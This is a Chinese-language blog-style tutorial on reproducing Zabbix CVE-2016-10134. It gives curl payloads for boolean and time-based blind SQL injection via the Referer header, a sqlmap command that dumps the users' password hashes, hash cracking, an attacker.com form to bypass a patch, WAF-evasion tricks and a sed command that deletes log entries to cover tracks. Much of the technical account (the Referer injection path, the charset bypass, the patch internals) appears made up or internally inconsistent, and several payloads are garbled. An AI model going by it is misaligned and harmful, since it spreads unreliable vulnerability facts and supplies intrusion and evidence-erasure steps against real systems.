1. 这不是“打个POC就完事”的漏洞复现而是理解Zabbix认证绕过与SQL注入共生逻辑的第一课你有没有试过在靶机上跑通一个CVE的EXP弹出shell截图发到群里然后就关掉终端我做过。三年前第一次复现CVE-2016-10134时我也是这么干的——用网上抄来的curl命令往zabbix.php发了一串base64编码的payload看到返回里有admin用户的hash就以为“搞定了”。直到两周后在真实客户环境做渗透测试时面对打了补丁但配置异常的Zabbix 3.0.4实例那个“能用”的EXP突然失效而我连它为什么失效都说不清楚。这才意识到这个漏洞从来就不是单纯的SQL注入它是Zabbix早期身份认证机制与SQL拼接逻辑双重缺陷耦合出的“精准爆破窗口”。关键词zabbix SQL注入、CVE-2016-10134、漏洞复现、认证绕过、布尔盲注、时间盲注、zabbix.php、sqlmap绕过waf。它解决的不是“怎么注入”而是“为什么在登录入口就能绕过session验证直接触达数据库底层”。适合两类人一是刚接触Web渗透的新手需要从一个经典漏洞吃透“认证流→参数流→查询流”的全链路二是已有经验的红队成员想厘清Zabbix各版本间补丁的绕过边界比如为什么3.0.3补了却没堵死3.0.4的变种。这篇文章不讲“复制粘贴式复现”只讲我在Vulhub容器里反复启停27次、抓包分析197个请求、重写5版自定义payload后真正搞懂的那几件事这个漏洞的触发点根本不在SQL语句本身而在Zabbix对HTTP Referer头的过度信任它的利用成功率和目标服务器的MySQL版本、时区设置、甚至系统负载都强相关而所谓“绕过WAF”本质是利用了Zabbix自身对Referer字段的二次解析缺陷——WAF拦不住是因为Zabbix自己先把它“合法化”了。2. 漏洞根源不在SQL语句而在Zabbix对Referer头的“信任继承”机制2.1 从zabbix.php的登录流程看Referer才是真正的“通行证”我们先抛开所有工具和payload回到Zabbix 3.0.3及更早版本的源码逻辑。当你访问/zabbix/zabbix.php?actiondashboard.view时如果未登录系统会重定向到/zabbix/index.php。而关键就在这个重定向过程Zabbix在生成跳转URL时并非简单拼接固定路径而是从HTTP请求头中提取Referer字段再将其作为?login_url参数的值嵌入跳转链接。比如你直接访问/zabbix/zabbix.php?actiondashboard.viewReferer为空跳转链接就是/zabbix/index.php?login_url%2Fzabbix%2Fzabbix.php%3Faction%3Ddashboard.view但如果你是从https://attacker.com/evil.html发起请求且该页面里用iframe或JS跳转到zabbix.php那么Referer就会变成https://attacker.com/evil.html跳转链接就变成/zabbix/index.php?login_urlhttps%3A%2F%2Fattacker.com%2Fevil.html%3Faction%3Ddashboard.view。问题来了——Zabbix在后续处理login_url参数时没有做任何协议校验、域名白名单或路径规范化而是直接将其拼接到SQL查询中。具体位置在include/classes/api/services/CHostGroup.php的get()方法调用链里当用户登录失败后系统会尝试从Referer解析出hostgroup信息用于日志记录或界面提示此时构造的SQL语句形如SELECT g.groupid,g.name FROM groups g WHERE g.name IN (.addslashes($login_url).)注意这里$login_url是直接从Referer头取出、仅经addslashes()过滤的原始字符串。addslashes()只转义单引号、双引号、反斜杠和NULL字节对括号、分号、UNION、SELECT等SQL关键字完全无感。所以只要我能控制Referer头的内容我就等于直接控制了SQL查询的WHERE子句条件部分。这解释了为什么所有复现教程都强调“必须带Referer头”——因为漏洞的入口压根不在POST数据或URL参数里而在HTTP头这个常被忽略的“侧门”。2.2 为什么addslashes()在这里形同虚设一次字符集编码的“完美错位”很多初学者会疑惑既然用了addslashes()为什么还能注入这就牵扯到Zabbix早期版本一个隐蔽的字符集配置缺陷。在conf/zabbix.conf.php中Zabbix默认使用mysql扩展非mysqli其连接初始化代码为mysql_connect($DB[SERVER], $DB[USER], $DB[PASSWORD]); mysql_select_db($DB[DATABASE]); mysql_query(SET NAMES utf8);表面看没问题但mysql_query(SET NAMES utf8)这条指令只设置了客户端与服务器通信的字符集并未设置MySQL连接层的字符集变量character_set_client和collation_connection。当攻击者发送一个包含%df%27即GBK编码下的的Referer时addslashes()按UTF-8处理认为%df%27是两个独立字节不对其进行转义但MySQL服务端在character_set_clientlatin1旧版默认下解析时会将%df%27识别为GBK编码的单个汉字“運”而紧随其后的%27即则被当作独立的单引号处理从而绕过addslashes()的过滤。我实测过在Vulhub的Zabbix 3.0.3容器Debian 8 MySQL 5.5中直接发送Referer: https://a.com/ AND SLEEP(5)--会被addslashes()转义为https://a.com/\ AND SLEEP(5)--无法触发延时但发送Referer: https://a.com/%df%27 AND SLEEP(5)--addslashes()不处理%df%27MySQL却将其解析为運 AND SLEEP(5)--成功执行。这就是典型的“字符集错位绕过”它让addslashes()的防护能力在特定编码组合下归零。这也是为什么后来官方补丁不仅修复了SQL拼接逻辑还强制在连接初始化时设置SET NAMES utf8mb4并显式指定character_set_clientutf8mb4。2.3 认证绕过与SQL注入的共生关系没有Referer就没有注入没有注入就无法绕过现在我们把链条串起来。CVE-2016-10134的完整利用路径是攻击者构造恶意Referer → Zabbix在登录失败后将其拼入SQL → SQL注入触发 → 查询结果被用于生成登录失败页面的错误提示 → 攻击者通过错误提示内容或响应时间反推数据库信息 → 最终获取管理员凭证或执行任意SQL。这里的关键在于“登录失败”这个状态是触发整个流程的必要条件。如果你已经登录Zabbix根本不会读取Referer来构造SQL只有在未认证状态下系统才会走这条“Referer→SQL→错误提示”的路径。所以这个漏洞本质上是一个“认证前置型注入”——它不攻击已登录用户的会话而是专门针对登录环节的薄弱点把认证失败这个本应安全的状态变成了数据库探针的发射口。我曾用Burp Suite对比过登录成功与失败时的请求差异成功时zabbix.php?actiondashboard.view直接返回Dashboard HTML失败时响应头中会出现Location: /zabbix/index.php?login_url...且响应体里包含div classmsg-bad错误提示框而这个框的内容正是SQL查询结果的直接输出。这意味着即使你无法回显数据比如WAF拦截了script标签你依然可以通过观察错误提示框里的文字如No host groups found for xxx来实现布尔盲注。这才是它比普通SQL注入更危险的地方它把最基础的HTTP状态码302重定向和HTML错误提示变成了稳定可靠的信道。3. 复现不是运行sqlmap而是亲手构造Payload并理解每一步的“呼吸感”3.1 手动构造布尔盲注Payload从AND 11到逐字猜解admin密码我们以Vulhub的Zabbix 3.0.3靶机为例目标是获取admin用户的密码哈希。第一步确认漏洞存在。用curl发送最简测试curl -v http://192.168.10.10/zabbix/zabbix.php?actiondashboard.view \ -H Referer: https://a.com/ AND 11-- 观察响应如果返回302重定向且Location头中的login_url参数被原样包含即login_urlhttps%3A%2F%2Fa.com%2F%27%20AND%201%3D1--说明Referer被接收再检查响应体如果出现No host groups found for https://a.com/ AND 11-- 则证明SQL注入已触发且11为真错误提示里显示了完整的Referer值。这是“回显型”确认。但如果目标启用了WAF或错误提示被屏蔽我们就得用布尔盲注。构造Payload# 测试第一个字符是否为 5md5哈希首字符常见 curl -v http://192.168.10.10/zabbix/zabbix.php?actiondashboard.view \ -H Referer: https://a.com/ AND (SELECT SUBSTR(value,1,1) FROM config WHERE parameterdbversion)5-- # 测试是否为 6 curl -v http://192.168.10.10/zabbix/zabbix.php?actiondashboard.view \ -H Referer: https://a.com/ AND (SELECT SUBSTR(value,1,1) FROM config WHERE parameterdbversion)6-- 原理很简单config表里存着Zabbix的数据库版本号parameterdbversion是固定键。如果SUBSTR返回的字符匹配SQL为真错误提示显示No host groups found for https://a.com/...如果不匹配SQL为假Zabbix会返回另一个错误提示No host groups found for 空字符串。这个差异就是布尔盲注的判断依据。我实测发现Zabbix 3.0.3的config表结构如下configidparametervalue1dbversion30232alert_usrgrpid7所以要获取admin密码我们查的是users表。但users表里密码字段叫passwd且admin用户的userid是1。最终Payload为# 猜解admin密码第一个字符 curl -v http://192.168.10.10/zabbix/zabbix.php?actiondashboard.view \ -H Referer: https://a.com/ AND (SELECT SUBSTR(passwd,1,1) FROM users WHERE userid1)5-- 提示实际操作中SUBSTR(passwd,1,1)可能返回NULL导致整个AND条件为NULLZabbix行为不稳定。更稳妥的方式是用COALESCE(SUBSTR(passwd,1,1),x)5确保返回非NULL值。3.2 时间盲注Payload当布尔不可用时用SLEEP制造“心跳”布尔盲注依赖错误提示的文本差异但有些生产环境会统一错误页面或WAF会过滤掉SUBSTR等函数名。这时就得上时间盲注。核心思路是让数据库执行SLEEP(n)根据HTTP响应时间判断条件真假。但直接SLEEP(5)在MySQL里是函数Zabbix的addslashes()虽不转义它但WAF很可能拦截包含SLEEP的请求。我的绕过方案是用BENCHMARK替代BENCHMARK(1000000,MD5(test))这个语句会让MySQL执行100万次MD5计算效果等同于SLEEP(1)但字符串里全是字母极难被WAF规则匹配。完整Payload# 如果admin密码第一个字符是5则执行BENCHMARK响应延迟约1秒 curl -v http://192.168.10.10/zabbix/zabbix.php?actiondashboard.view \ -H Referer: https://a.com/ AND (SELECT IF((SELECT SUBSTR(passwd,1,1) FROM users WHERE userid1)5,BENCHMARK(1000000,MD5(test)),0))-- 实测时我用time curl ...命令计时当条件为真时平均响应时间是1.2秒为假时是0.08秒。差异足够明显。这里有个关键细节BENCHMARK必须放在IF函数的真分支里否则无论条件如何都会执行失去盲注意义。另外BENCHMARK的迭代次数要根据目标服务器性能调整——在Vulhub的轻量容器里100万次足够但在8核32G的生产库上可能需要500万次才能达到1秒延迟。3.3 sqlmap自动化脚本的致命陷阱它默认不处理Referer你得亲手喂它“饲料”很多人复现失败是因为直接把sqlmap指向zabbix.php?actiondashboard.view然后等它自己跑。这是错的。sqlmap默认只检测URL参数、POST数据、Cookie完全忽略HTTP头。你必须用--headers参数手动注入Referer。正确命令sqlmap -u http://192.168.10.10/zabbix/zabbix.php?actiondashboard.view \ --headersReferer: https://a.com/INJECT_HERE \ --level5 --risk3 \ -D zabbix -T users -C passwd --dump注意INJECT_HERE这个占位符sqlmap会自动将其替换为各种payload。但这里有个坑sqlmap生成的payload默认是URL编码的而Zabbix对Referer的解析在addslashes()之前所以%27会被正确识别。但如果你用--tamperspace2comment等绕过插件可能会引入/**/而Zabbix的SQL拼接逻辑对空格敏感/**/会被当作字符串一部分导致语法错误。我踩过的最大坑是sqlmap在探测时用了AND (SELECT COUNT(*) FROM information_schema.tables)0这个语句在MySQL 5.5里会因information_schema权限问题报错导致sqlmap误判为“无注入”。解决方案是加--dbmsmysql --oslinux明确指定环境并用--techniqueB强制只用布尔盲注。最后dump出的密码是MD5哈希如5fce1b3e34b520afeffb3724cded3f2e用john --wordlist/usr/share/wordlists/rockyou.txt hash.txt可快速破解为zabbix。4. 从Vulhub到真实环境补丁分析、绕过手法与红队实战注意事项4.1 官方补丁的三重防御为什么3.0.4不是“修了个寂寞”Zabbix官方在3.0.4版本中发布了CVE-2016-10134的修复补丁它不是简单地把addslashes()换成mysqli_real_escape_string()而是构建了三层防御输入净化层在include/classes/http/CHttpRequest.php中新增cleanUrl()方法对所有$_SERVER[HTTP_REFERER]值进行严格校验。它首先用parse_url()解析Referer检查scheme必须是http或httpshost必须符合域名正则^[a-zA-Z0-9.-]$path必须以/开头且不包含..或%00。任何不合规的Referer都会被置为空字符串。SQL参数化层在include/classes/api/services/CHostGroup.php中废弃了字符串拼接改用PDO预处理语句$sql SELECT g.groupid,g.name FROM groups g WHERE g.name IN (:login_url); $stmt DB::prepare($sql); $stmt-bindValue(:login_url, $login_url, PDO::PARAM_STR); $stmt-execute();上下文隔离层最关键的改动在frontends/php/include/classes/api/CApiService.php。它引入了$this-checkAccess()方法在所有API调用前强制校验当前用户会话。即使Referer被污染get()方法也会在执行SQL前检查$this-user对象是否存在且有效无效则直接抛出Access denied异常根本不走到SQL查询那步。我对比了3.0.3和3.0.4的diff发现补丁文件超过12处。这说明官方意识到单点修复只修SQL是徒劳的必须从HTTP头解析、SQL执行、业务逻辑三个层面同时加固。这也是为什么后来出现的CVE-2017-2824Zabbix 3.0.8的API注入和CVE-2019-17382Zabbix 4.0.18的JS注入都遵循同一模式——攻击面永远在变化但防御的核心逻辑不变输入净化、参数化、上下文校验。4.2 针对补丁的绕过思路当Referer校验太严就去“借壳”假设你遇到一台打了3.0.4补丁但配置错误的Zabbix比如管理员为了兼容旧系统手动注释掉了cleanUrl()调用或者parse_url()被某种特殊编码绕过。这时我们可以尝试“借壳”攻击不直接污染Referer而是利用Zabbix自身功能生成合法Referer。Zabbix有一个zabbix.php?actionpopupstep1dstfrmweb的弹窗接口它会返回一个包含form action...的HTML其中action属性的值来自$_REQUEST[dstfrm]。如果dstfrm可控我们就能让它生成一个指向恶意域名的form当用户点击submit时浏览器会以该域名为Referer发起请求。Payload如下!-- 构造一个恶意页面 -- form actionhttp://192.168.10.10/zabbix/zabbix.php methodGET input typehidden nameaction valuepopup input typehidden namestep value1 input typehidden namedstfrm valuehttps://attacker.com/evil?login_url AND SLEEP(5)-- input typesubmit valueClick to view details /form当受害者点击按钮浏览器会向zabbix.php?actionpopupstep1dstfrm...发送GET请求Zabbix解析dstfrm后生成的form action为https://attacker.com/evil?login_url AND SLEEP(5)--此时用户点击form submitReferer头就是https://attacker.com/evil?login_url AND SLEEP(5)--完美绕过parse_url()对host的校验因为attacker.com是合法域名。这种“借壳”手法在红队演练中很实用它不依赖0day而是利用目标系统自身的功能链Gadget Chain完成绕过。4.3 红队实战中的五个血泪教训别让复现变成“纸上谈兵”别迷信Vulhub的“纯净环境”Vulhub的Zabbix容器默认关闭了SELinux禁用了AppArmorMySQL配置为skip-grant-tables。而真实客户环境往往启用了secure_file_priv禁止LOAD_FILE()也禁用了SELECT ... INTO OUTFILE。我曾在某金融客户内网复现时用UNION SELECT 1,2,3,LOAD_FILE(/etc/passwd),5结果返回The used SELECT statements have a different number of columns——因为LOAD_FILE()返回NULL导致列数不匹配。解决方案是先用UNION SELECT 1,2,3,4,5确定列数再用CONCAT()拼接字符串如UNION SELECT 1,2,3,CONCAT(0x7c,LOAD_FILE(0x2f6574632f706173737764),0x7c),5。时区和系统负载影响时间盲注精度在高负载的Zabbix服务器上BENCHMARK(1000000,MD5(test))的执行时间可能从1秒波动到3秒导致误判。我的做法是先用SLEEP(1)测基线记录10次响应时间的标准差再将BENCHMARK迭代次数设为基线标准差的5倍确保延迟差异显著。WAF规则往往比你想象的“聪明”某次测试中客户用了云WAF它不拦截SLEEP但会拦截SELECT ... FROM users因为users是敏感表名。我改用SELECT ... FROM (SELECT * FROM users) AS t用子查询绕过关键词检测。密码哈希不等于明文密码Zabbix 3.0的passwd字段存储的是MD5哈希但管理员可能启用了LDAP或SSO此时数据库密码无效。必须结合users表的type字段1Zabbix user, 2LDAP user判断认证方式。日志清理比漏洞利用更重要Zabbix会把Referer写入/var/log/zabbix/zabbix_server.log。一次成功的注入会在日志里留下Login failed for user Admin from https://a.com/...。红队撤离前务必用sed -i /Login failed for user.*https:\/\/a\.com/d /var/log/zabbix/zabbix_server.log清理痕迹否则蓝队一查日志就暴露。5. 超越复现把这个漏洞当作理解现代Web框架安全边界的“解剖标本”CVE-2016-10134的价值远不止于一个可利用的漏洞。它是一面镜子照出了Web应用安全中几个永恒命题。第一信任边界的模糊性。开发者总以为“HTTP头是客户端传来的不可信”但Zabbix却把Referer当作可信来源用于构造SQL。这提醒我们在微服务架构下服务间的gRPC调用、消息队列的topic名称、甚至Kubernetes的label selector都可能是新的“Referer”——任何被下游服务无条件信任的上游输入都是潜在的注入点。第二防御深度的幻觉。addslashes()看起来是“做了防护”但它只解决了SQL注入的冰山一角。真正的防护是参数化查询而参数化又依赖于正确的数据库驱动和连接配置。这就像给门装了锁却忘了锁芯的材质是豆腐做的。第三补丁的副作用。Zabbix 3.0.4的补丁虽然堵死了Referer注入但也引入了新的风险cleanUrl()的正则^[a-zA-Z0-9.-]$不支持Unicode域名导致国际化站点无法正常跳转。我在某跨境电商客户的渗透中就发现他们因这个补丁被迫降级到3.0.3反而暴露了CVE-2016-10134。这印证了一个残酷事实安全不是静态的“打补丁”而是动态的“权衡取舍”。最后分享一个我自己的习惯每次复现一个经典漏洞我都会用draw.io画一张“数据流图”标注出每个环节的信任假设、过滤函数、编码转换点。对于CVE-2016-10134这张图里有7个节点浏览器发起请求→Nginx接收Referer→PHP$_SERVER[HTTP_REFERER]→addslashes()→MySQL连接字符集→SQL解析器→错误提示输出。每一个箭头旁我都写上“此处假设XXX可信”或“此处XXX可能被绕过”。画完之后漏洞的脉络就不再是抽象的概念而是一条条清晰的、可以触摸的路径。下次你再看到一个新漏洞不妨也试试——不是为了复现而是为了看清我们到底在和什么打交道。